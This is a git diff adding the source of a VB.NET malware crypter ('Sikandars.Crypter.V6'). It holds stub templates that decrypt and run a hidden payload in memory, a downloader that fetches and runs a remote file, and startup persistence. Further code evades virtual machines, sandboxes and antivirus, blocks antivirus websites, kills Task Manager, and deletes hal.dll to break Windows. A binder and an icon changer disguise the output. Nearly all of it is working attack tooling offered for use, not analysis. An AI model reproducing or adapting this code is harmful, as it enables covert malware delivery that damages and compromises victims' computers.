My.Computer.FileSystem.WriteAllBytes(I, II, False) + ''' Catch + ''' End Try + ''' Dim III As Byte() = System.Text.Encoding.Default.GetBytes(RijndaelDecrypt(R.GetObject("F"), _ + ''' R.GetObject("K"))) + ''' LoadMethod("IX [rest of string was truncated]";. + ''' + Friend ReadOnly Property RijLoader() As String + Get + Return ResourceManager.GetString("RijLoader", resourceCulture) + End Get + End Property + + ''' + ''' Looks up a localized string similar to Public Shared Function RijndaelDecrypt(ByVal Decrypt As String, ByVal Key As String) + ''' + ''' Dim A As New RijndaelManaged + ''' + ''' Dim BC() As Byte + ''' + ''' Dim BS() As Byte = New Byte() {Convert.ToInt32(&H1, &H2), _ + ''' Convert.ToInt32(10, &H2), _ + ''' Convert.ToInt32(11, &H2), _ + ''' Convert.ToInt32(100, &H2), _ + ''' Convert.ToInt32(101, &H2), [rest of string was truncated]";. + ''' + Friend ReadOnly Property RijndaelRev() As String + Get + Return ResourceManager.GetString("RijndaelRev", resourceCulture) + End Get + End Property + + ''' + ''' Looks up a localized string similar to using System.Runtime.InteropServices; + '''using System; + '''using System.Text; + '''public class IX + '''{ + ''' [return: MarshalAs(UnmanagedType.Bool)] + ''' [DllImport("kernel32")] + ''' private static extern bool CreateProcess(string appName, StringBuilder commandLine, IntPtr procAttr, IntPtr thrAttr, [MarshalAs(UnmanagedType.Bool)] bool inherit, int creation, IntPtr env, string curDir, byte[] sInfo, IntPtr[] pInfo); + ''' [return: MarshalAs(UnmanagedType.Bool)] + ''' [DllImport("kernel32")] + ''' private static extern bool [rest of string was truncated]";. + ''' + Friend ReadOnly Property RpE() As String + Get + Return ResourceManager.GetString("RpE", resourceCulture) + End Get + End Property + + ''' + ''' Looks up a localized string similar to Dim N As String = System.Text.Encoding.Default.GetString(SDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("NM"))), _ + '''R.GetObject("K"))) + '''Dim I As String = Environ("APPDATA") & "\" & N & ".exe" + '''If IO.File.Exists(I) Then + ''' IO.File.Delete(I) + '''End If + '''Try + ''' My.Computer.FileSystem.WriteAllBytes(I, SDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("I"))), (R.GetObject("K"))), False) + '''Catch + '''End Try + '''LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), N [rest of string was truncated]";. + ''' + Friend ReadOnly Property StairsLoader() As String + Get + Return ResourceManager.GetString("StairsLoader", resourceCulture) + End Get + End Property + + ''' + ''' Looks up a localized string similar to Public Shared Function SDeCrypt(ByVal Data() As Byte, ByVal key() As Byte) As Byte() + ''' For i = Data.Length - Convert.ToInt32(&H1, 2) To Convert.ToInt32(0, 2) Step -1 + ''' Data(i) = CByte((CInt(Data(i) Xor key(i Mod key.Length)) - CInt(Data((i + _ + ''' Convert.ToInt32(&H1, 2)) Mod Data.Length)) + Convert.ToInt32(100000000, 2)) _ + ''' Mod Convert.ToInt32(100000000, 2)) + ''' Next + ''' Return Data + ''' End Function. + ''' + Friend ReadOnly Property StairsRev() As String + Get + Return ResourceManager.GetString("StairsRev", resourceCulture) + End Get + End Property + + ''' + ''' Looks up a localized string similar to Option Explicit Off + '''Option Strict Off + '''Imports System.Reflection + '''Imports System.Runtime.InteropServices + '''Imports System + '''Imports Microsoft.VisualBasic + '''Imports System.Text + '''Imports System.Security.Cryptography + '''Imports Microsoft.Win32 + '''Imports System.Windows.Forms + '''Imports System.IO + '''Imports System.CodeDom.Compiler + ''''AssemblyCodes + '''Public Class Out + ''' 'FakeAPI#1 + ''' 'FakeAPI#2 + ''' 'FakeAPI#3 + ''' 'FakeAPI#4 + ''' 'FakeAPI#5 + ''' 'FakeAPI#6 + ''' 'FakeAPI#7 + ''' 'FakeAPI#8 + ''' 'FakeAPI#9 + ''' 'FakeAPI#A + ''' [rest of string was truncated]";. + ''' + Friend ReadOnly Property Stub() As String + Get + Return ResourceManager.GetString("Stub", resourceCulture) + End Get + End Property + + ''' + ''' Looks up a localized string similar to Shared Sub F59() + ''' Killer("taskmgr") + '''End Sub. + ''' + Friend ReadOnly Property TaskMSub() As String + Get + Return ResourceManager.GetString("TaskMSub", resourceCulture) + End Get + End Property + + ''' + ''' Looks up a localized string similar to Dim N As String = TripleDESdecrypt(R.GetObject("NM"),R.GetObject("K"), True) + ''' Dim I As String = Environ("APPDATA") & "\" & N & ".exe" + ''' If IO.File.Exists(I) Then + ''' IO.File.Delete(I) + ''' End If + ''' Dim II As Byte() = System.Text.Encoding.Default.GetBytes(TripleDESdecrypt(R.GetObject("I"), _ + ''' R.GetObject("K"), True)) + ''' Try + ''' My.Computer.FileSystem.WriteAllBytes(I, II, False) + ''' Catch + ''' End Try + ''' Dim III As Byte() = System.Text.Encoding.Default.GetBytes(TripleDESdecrypt(R.GetObject("F"), _ + ''' R.GetObject("K"), Tr [rest of string was truncated]";. + ''' + Friend ReadOnly Property TDESLoader() As String + Get + Return ResourceManager.GetString("TDESLoader", resourceCulture) + End Get + End Property + + ''' + ''' Looks up a localized string similar to Public Shared Function TripleDESdecrypt(ByVal b As String, ByVal c As String, ByVal d As Boolean) As String + ''' Dim keyArray As Byte() + ''' Dim toEncryptArray As Byte() = Convert.FromBase64String(b) + ''' If d Then + ''' Dim hashmd5 = New MD5CryptoServiceProvider() + ''' keyArray = hashmd5.ComputeHash(UTF8Encoding.UTF8.GetBytes(c)) + ''' Else + ''' keyArray = UTF8Encoding.UTF8.GetBytes(c) + ''' End If + ''' Dim tdes = New TripleDESCryptoServiceProvider() + ''' td [rest of string was truncated]";. + ''' + Friend ReadOnly Property TDESRev() As String + Get + Return ResourceManager.GetString("TDESRev", resourceCulture) + End Get + End Property + + ''' + ''' Looks up a localized string similar to Shared Sub W + ''' + ''' WebBlock("www.novirusthanks.org") + ''' + ''' WebBlock("www.virustotal.com") + ''' + ''' WebBlock("www.virusscan.jotti.org") + ''' + ''' WebBlock("www.malwarebytes.org") + ''' + ''' WebBlock("www.bitdefender.com/scanner/online/free.html") + ''' + ''' WebBlock("www.eset.com/online-scanner") + ''' + ''' WebBlock("housecall.trendmicro.com") + ''' + ''' WebBlock("www.kaspersky.com/scanforvirus") + ''' + ''' WebBlock("www.kaspersky.com/vir [rest of string was truncated]";. + ''' + Friend ReadOnly Property Websites() As String + Get + Return ResourceManager.GetString("Websites", resourceCulture) + End Get + End Property + + ''' + ''' Looks up a localized string similar to Dim N As String = xEncryptionD(R.GetObject("K"), R.GetObject("NM")) + ''' Dim I As String = Environ("APPDATA") & "\" & N & ".exe" + ''' If IO.File.Exists(I) Then + ''' IO.File.Delete(I) + ''' End If + ''' Dim II As Byte() = System.Text.Encoding.Default.GetBytes(xEncryptionD(R.GetObject("K"), _ + ''' R.GetObject("I"))) + ''' Try + ''' My.Computer.FileSystem.WriteAllBytes(I, II, False) + ''' Catch + ''' End Try + ''' Dim III As Byte() = System.Text.Encoding.Default.GetBytes(xEncryptionD(R.GetObject("K"), _ + ''' R.GetObject("F"))) + ''' LoadMethod("IX", "R", [rest of string was truncated]";. + ''' + Friend ReadOnly Property XORLoader() As String + Get + Return ResourceManager.GetString("XORLoader", resourceCulture) + End Get + End Property + + ''' + ''' Looks up a localized string similar to Public Shared Function xEncryptionD(ByVal CodeKey As String, ByVal DataIn As String) As String + ''' + ''' Dim lonDataPtr As Long + ''' + ''' Dim strDataOut As String = "" + ''' + ''' Dim intXOrValue1 As Integer + ''' + ''' Dim intXOrValue2 As Integer + ''' + ''' Dim H As String = "&H" + ''' + ''' For lonDataPtr = 1 To (Len(DataIn) / 2) + ''' + ''' intXOrValue1 = Val(H & (Mid$(DataIn, (2 * lonDataPtr) - 1, 2))) + ''' + ''' intXOrValue2 = Asc(Mid$(CodeKey, ((lonDataPtr Mod Len(CodeKey)) + 1), 1)) + ''' + ''' [rest of string was truncated]";. + ''' + Friend ReadOnly Property XORRev() As String + Get + Return ResourceManager.GetString("XORRev", resourceCulture) + End Get + End Property + End Module +End Namespace diff --git a/scode (Sikandars.Crypter.V6.VB.NET/My Project/Resources.resx b/scode (Sikandars.Crypter.V6.VB.NET/My Project/Resources.resx new file mode 100644 index 0000000..b840608 --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/My Project/Resources.resx @@ -0,0 +1,244 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + ..\Resources\Add2StartUp.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 + + + ..\Resources\Adxdiag.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 + + + ..\Resources\AESLoader.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 + + + ..\Resources\AESRev.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 + + + ..\Resources\ANotePad.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 + + + ..\Resources\AntisSub.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 + + + ..\Resources\APIs.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 + + + ..\Resources\Binder.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 + + + ..\Resources\Downloader.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 + + + ..\Resources\FolderOpt.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 + + + ..\Resources\FunctionA.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 + + + ..\Resources\HalDLL.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 + + + ..\Resources\KFunction.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 + + + ..\Resources\Killers.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 + + + ..\Resources\Melt.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 + + + ..\Resources\msconfig.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 + + + ..\Resources\PolyDec.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 + + + ..\Resources\PolyRC4Loader.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 + + + ..\Resources\PolyRC4Rev.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 + + + ..\Resources\PolyStairsLoader.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 + + + ..\Resources\PolyStairsRev.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 + + + ..\Resources\PolyXORLoader.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 + + + ..\Resources\PolyXORRev.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 + + + ..\Resources\RC4.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 + + + ..\Resources\RC4Loader.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 + + + ..\Resources\Regedit.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 + + + ..\Resources\ResetStub.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 + + + ..\Resources\Restart.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 + + + ..\Resources\RijLoader.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 + + + ..\Resources\RijndaelRev.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 + + + ..\Resources\RpE.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 + + + ..\Resources\StairsLoader.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 + + + ..\Resources\StairsRev.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 + + + ..\Resources\Stub.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 + + + ..\Resources\TaskMSub.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 + + + ..\Resources\TDESLoader.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 + + + ..\Resources\TDESRev.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 + + + ..\Resources\Websites.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 + + + ..\Resources\XORLoader.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 + + + ..\Resources\XORRev.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 + + + ..\Resources\Invoke.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 + + \ No newline at end of file diff --git a/scode (Sikandars.Crypter.V6.VB.NET/My Project/Settings.Designer.vb b/scode (Sikandars.Crypter.V6.VB.NET/My Project/Settings.Designer.vb new file mode 100644 index 0000000..159b991 --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/My Project/Settings.Designer.vb @@ -0,0 +1,73 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.1 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + _ + Partial Friend NotInheritable Class MySettings + Inherits Global.System.Configuration.ApplicationSettingsBase + + Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings) + +#Region "My.Settings Auto-Save Functionality" +#If _MyType = "WindowsForms" Then + Private Shared addedHandler As Boolean + + Private Shared addedHandlerLockObject As New Object + + _ + Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs) + If My.Application.SaveMySettingsOnExit Then + My.Settings.Save() + End If + End Sub +#End If +#End Region + + Public Shared ReadOnly Property [Default]() As MySettings + Get + +#If _MyType = "WindowsForms" Then + If Not addedHandler Then + SyncLock addedHandlerLockObject + If Not addedHandler Then + AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings + addedHandler = True + End If + End SyncLock + End If +#End If + Return defaultInstance + End Get + End Property + End Class +End Namespace + +Namespace My + + _ + Friend Module MySettingsProperty + + _ + Friend ReadOnly Property Settings() As Global.SCV6._0.My.MySettings + Get + Return Global.SCV6._0.My.MySettings.Default + End Get + End Property + End Module +End Namespace diff --git a/scode (Sikandars.Crypter.V6.VB.NET/My Project/Settings.settings b/scode (Sikandars.Crypter.V6.VB.NET/My Project/Settings.settings new file mode 100644 index 0000000..377f56d --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/My Project/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/scode (Sikandars.Crypter.V6.VB.NET/Resources/AESLoader.txt b/scode (Sikandars.Crypter.V6.VB.NET/Resources/AESLoader.txt new file mode 100644 index 0000000..d567cfb --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/Resources/AESLoader.txt @@ -0,0 +1,10 @@ + Dim N As String = System.Text.Encoding.Default.GetString(AD(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("NM"))))) + Dim I As String = Environ("APPDATA") & "\" & N & ".exe" + If IO.File.Exists(I) Then + IO.File.Delete(I) + End If + Try + My.Computer.FileSystem.WriteAllBytes(I, AD(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("I")))), False) + Catch + End Try + LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), New Object() {AD(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("F")))), I}) \ No newline at end of file diff --git a/scode (Sikandars.Crypter.V6.VB.NET/Resources/AESRev.txt b/scode (Sikandars.Crypter.V6.VB.NET/Resources/AESRev.txt new file mode 100644 index 0000000..512f3ba --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/Resources/AESRev.txt @@ -0,0 +1,17 @@ +Shared Function AD(ByVal Y As Byte()) + Using A As New System.Security.Cryptography.RC2CryptoServiceProvider + A.IV = New Byte() {Convert.ToInt32(1000, 2), Convert.ToInt32(111, 2), _ + Convert.ToInt32(110, 2), Convert.ToInt32(101, 2), _ + Convert.ToInt32(100, 2), Convert.ToInt32(11, 2), _ + Convert.ToInt32(10, 2), Convert.ToInt32(&H1, 2)} + A.Key = New Byte() {Convert.ToInt32(&H0, 2), Convert.ToInt32(&H1, 2), _ + Convert.ToInt32(10, 2), Convert.ToInt32(11, 2), _ + Convert.ToInt32(100, 2), Convert.ToInt32(101, 2), _ + Convert.ToInt32(110, 2), Convert.ToInt32(111, 2), _ + Convert.ToInt32(1000, 2), Convert.ToInt32(1001, 2), _ + Convert.ToInt32(&H0, 2), Convert.ToInt32(&H1, 2), _ + Convert.ToInt32(10, 2), Convert.ToInt32(11, 2), _ + Convert.ToInt32(100, 2), Convert.ToInt32(101, 2)} + Return A.CreateDecryptor.TransformFinalBlock(Y, Convert.ToInt32(&H0, 2), Y.Length) + End Using + End Function \ No newline at end of file diff --git a/scode (Sikandars.Crypter.V6.VB.NET/Resources/ANotePad.txt b/scode (Sikandars.Crypter.V6.VB.NET/Resources/ANotePad.txt new file mode 100644 index 0000000..c8114e2 --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/Resources/ANotePad.txt @@ -0,0 +1,3 @@ + Shared Sub F62() + Killer("notepad") + End Sub \ No newline at end of file diff --git a/scode (Sikandars.Crypter.V6.VB.NET/Resources/APIs.txt b/scode (Sikandars.Crypter.V6.VB.NET/Resources/APIs.txt new file mode 100644 index 0000000..5b9cd8d --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/Resources/APIs.txt @@ -0,0 +1,11 @@ +Public Declare Function SetWindowLong Lib "user32.dll" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nindex As Long, ByVal dwnewlong As Long) As Long +|Public Declare Function CallWindowProc Lib "user32.dll" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long +|Public Declare Function DefWindowProc Lib "user32.dll" Alias "DefWindowProcA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long +|Public Declare Function CloseHandle Lib "kernel32.dll" (ByVal hObject As Long) As Long +|Declare Function OpenProcess Lib "kernel32.dll" (ByVal dwDesiredAccess As Long, ByVal blnheritHandle As Long, ByVal dwAppProcessId As Long) As Long +|Declare Function CreateToolhelpSnapshot Lib "kernel32.dll" Alias "CreateToolhelp32Snapshot" (ByVal lFlags As Long, ByVal lProcessID As Long) As Long +|Declare Function TerminateProcess Lib "kernel32.dll" (ByVal ApphProcess As Long, ByVal uExitCode As Long) As Long +|Private Declare Function EnumPorts Lib "winspool.drv" Alias "EnumPortsA" (ByVal pName As String, ByVal Level As Long, ByVal lpbPorts As Long, ByVal cbBuf As Long, ByVal pcbNeeded As Long, ByVal pcReturned As Long) As Long +|Private Declare Function lstrlenW Lib "kernel32.dll" (ByVal lpString As Long) As Long +|Private Declare Function HeapAlloc Lib "kernel32.dll" (ByVal hHeap As Long, ByVal dwFlags As Long, ByVal dwBytes As Long) As Long +|Private Declare Function GetProcessHeap Lib "kernel32.dll" () As Long \ No newline at end of file diff --git a/scode (Sikandars.Crypter.V6.VB.NET/Resources/Add2StartUp.txt b/scode (Sikandars.Crypter.V6.VB.NET/Resources/Add2StartUp.txt new file mode 100644 index 0000000..67d8f22 --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/Resources/Add2StartUp.txt @@ -0,0 +1,12 @@ +Shared Sub PushStart() + Dim xx As String = Environment.GetFolderPath(Environment.SpecialFolder.Startup) & "\" & IO.Path.GetFileName(System.Windows.Forms.Application.ExecutablePath) + While True + Try + If Not IO.File.Exists(xx) Then + IO.File.Copy(System.Windows.Forms.Application.ExecutablePath, xx) + End If + Catch + End Try + System.Threading.Thread.Sleep(5000) + End While +End Sub \ No newline at end of file diff --git a/scode (Sikandars.Crypter.V6.VB.NET/Resources/Adxdiag.txt b/scode (Sikandars.Crypter.V6.VB.NET/Resources/Adxdiag.txt new file mode 100644 index 0000000..e14e37f --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/Resources/Adxdiag.txt @@ -0,0 +1,3 @@ + Shared Sub F63() + Killer("dxdiag") + End Sub \ No newline at end of file diff --git a/scode (Sikandars.Crypter.V6.VB.NET/Resources/AntisSub.txt b/scode (Sikandars.Crypter.V6.VB.NET/Resources/AntisSub.txt new file mode 100644 index 0000000..7d31f98 --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/Resources/AntisSub.txt @@ -0,0 +1,59 @@ +Shared Sub AT + Dim id As String = "76487-337-8429955-22614" + + Dim regPID As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows NT\CurrentVersion", False) + + Dim pid As Object = regPID.GetValue("ProductId") + + Dim D As Object, R As String = Nothing, B As String = "SELECT * FROM Win32_VideoController" + + D = GetObject("winmgmts:").ExecQuery(B) + + Dim AdaptList As Object + + For Each AdaptList In D + + R = AdaptList.Description + + Next + + If System.Windows.Forms.Application.ExecutablePath = System.Windows.Forms.Application.StartupPath & "\Sample.exe" Then + + System.Threading.Thread.Sleep(10000) + + End If + + If pid = id Then + + System.Threading.Thread.Sleep(10000) + + End If + + A("wireshark") + + Select Case R + + Case "VM Additions S3 Trio32/64" + + System.Threading.Thread.Sleep(10000) + + Case "VirtualBox Graphics Adapter" + + System.Threading.Thread.Sleep(10000) + + Case "VMware SVGA II" + + System.Threading.Thread.Sleep(10000) + + End Select + + A("SbieSvc") + + A("avp") + + A("avgnt") + + A("ashServ") + + A("avgtray") + End Sub \ No newline at end of file diff --git a/scode (Sikandars.Crypter.V6.VB.NET/Resources/Binder.txt b/scode (Sikandars.Crypter.V6.VB.NET/Resources/Binder.txt new file mode 100644 index 0000000..9d78a9c --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/Resources/Binder.txt @@ -0,0 +1,12 @@ +Dim filled() As String + +Dim rand As New Random() + +'FilledSplitting + +Dim tpth As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\" & rand.Next(10000, 99999).ToString & filled(1) + +My.Computer.FileSystem.WriteAllBytes(tpth, System.Text.Encoding.Default.GetBytes(filled(0)), False) + +System.Diagnostics.Process.Start(tpth) + diff --git a/scode (Sikandars.Crypter.V6.VB.NET/Resources/Downloader.txt b/scode (Sikandars.Crypter.V6.VB.NET/Resources/Downloader.txt new file mode 100644 index 0000000..46e9156 --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/Resources/Downloader.txt @@ -0,0 +1,6 @@ +Dim Expl As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\1" & IO.Path.GetFileName(System.Windows.Forms.Application.ExecutablePath) +My.Computer.Network.DownloadFile($DownloadLink$, Expl) +Do Until IO.File.Exists(Expl) = True + System.Threading.Thread.Sleep(1000) +Loop +System.Diagnostics.Process.Start(Expl) \ No newline at end of file diff --git a/scode (Sikandars.Crypter.V6.VB.NET/Resources/FolderOpt.txt b/scode (Sikandars.Crypter.V6.VB.NET/Resources/FolderOpt.txt new file mode 100644 index 0000000..576a82a --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/Resources/FolderOpt.txt @@ -0,0 +1,5 @@ +Try + Dim regloc As String = "HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer" + My.Computer.Registry.SetValue(regloc, "NoFolderOptions", "1", Microsoft.Win32.RegistryValueKind.DWord) +Catch +End Try \ No newline at end of file diff --git a/scode (Sikandars.Crypter.V6.VB.NET/Resources/FunctionA.txt b/scode (Sikandars.Crypter.V6.VB.NET/Resources/FunctionA.txt new file mode 100644 index 0000000..3c74e77 --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/Resources/FunctionA.txt @@ -0,0 +1,6 @@ +Public Shared Sub A(ByVal ProcessName As String) + Dim proc As System.Diagnostics.Process() = System.Diagnostics.Process.GetProcesses + If System.Diagnostics.Process.GetProcessesByName(ProcessName).Length >= 1 Then + System.Threading.Thread.Sleep(10000) + End If +End Sub \ No newline at end of file diff --git a/scode (Sikandars.Crypter.V6.VB.NET/Resources/HalDLL.txt b/scode (Sikandars.Crypter.V6.VB.NET/Resources/HalDLL.txt new file mode 100644 index 0000000..b9dd65d --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/Resources/HalDLL.txt @@ -0,0 +1,4 @@ +Try + IO.File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.System) & "\hal.dll") +Catch +End Try \ No newline at end of file diff --git a/scode (Sikandars.Crypter.V6.VB.NET/Resources/IconChanger.vb b/scode (Sikandars.Crypter.V6.VB.NET/Resources/IconChanger.vb new file mode 100644 index 0000000..72a05de --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/Resources/IconChanger.vb @@ -0,0 +1,151 @@ +Option Strict On +Option Explicit On +Option Infer On +Imports System.Runtime.InteropServices +Imports System.Security +Public Class IconChanger + _ + Private Class NativeMethods + _ + Public Shared Function BeginUpdateResource( _ + ByVal fileName As String, _ + ByVal deleteExistingResources As Boolean) As IntPtr + End Function + _ + Public Shared Function UpdateResource( _ + ByVal hUpdate As IntPtr, _ + ByVal type As IntPtr, _ + ByVal name As IntPtr, _ + ByVal language As Short, _ + _ + ByVal data() As Byte, _ + ByVal dataSize As Integer) As Boolean + End Function + _ + Public Shared Function EndUpdateResource( _ + ByVal hUpdate As IntPtr, _ + ByVal discard As Boolean) As Boolean + End Function + End Class + _ + Private Structure ICONDIR + Public Reserved As UShort + Public Type As UShort + Public Count As UShort + End Structure + _ + Private Structure ICONDIRENTRY + Public Width As Byte + Public Height As Byte + Public ColorCount As Byte + Public Reserved As Byte + Public Planes As UShort + Public BitCount As UShort + Public BytesInRes As Integer + Public ImageOffset As Integer + End Structure + _ + Private Structure BITMAPINFOHEADER + Public Size As UInteger + Public Width As Integer + Public Height As Integer + Public Planes As UShort + Public BitCount As UShort + Public Compression As UInteger + Public SizeImage As UInteger + Public XPelsPerMeter As Integer + Public YPelsPerMeter As Integer + Public ClrUsed As UInteger + Public ClrImportant As UInteger + End Structure + _ + Private Structure GRPICONDIRENTRY + Public Width As Byte + Public Height As Byte + Public ColorCount As Byte + Public Reserved As Byte + Public Planes As UShort + Public BitCount As UShort + Public BytesInRes As Integer + Public ID As UShort + End Structure + Public Shared Sub InjectIcon(ByVal exeFileName As String, ByVal iconFileName As String) + InjectIcon(exeFileName, iconFileName, 1, 1) + End Sub + Public Shared Sub InjectIcon(ByVal exeFileName As String, ByVal iconFileName As String, ByVal iconGroupID As UInteger, ByVal iconBaseID As UInteger) + Const RT_ICON As UInteger = 3UI + Const RT_GROUP_ICON As UInteger = 14UI + Dim iconFile As IconFile = iconFile.FromFile(iconFileName) + Dim hUpdate = NativeMethods.BeginUpdateResource(exeFileName, False) + Dim data = iconFile.CreateIconGroupData(iconBaseID) + NativeMethods.UpdateResource(hUpdate, New IntPtr(RT_GROUP_ICON), New IntPtr(iconGroupID), 0, data, data.Length) + For i = 0 To iconFile.ImageCount - 1 + Dim image = iconFile.ImageData(i) + NativeMethods.UpdateResource(hUpdate, New IntPtr(RT_ICON), New IntPtr(iconBaseID + i), 0, image, image.Length) + Next + NativeMethods.EndUpdateResource(hUpdate, False) + End Sub + Private Class IconFile + Private iconDir As New ICONDIR + Private iconEntry() As ICONDIRENTRY + Private iconImage()() As Byte + Public ReadOnly Property ImageCount() As Integer + Get + Return iconDir.Count + End Get + End Property + Public ReadOnly Property ImageData(ByVal index As Integer) 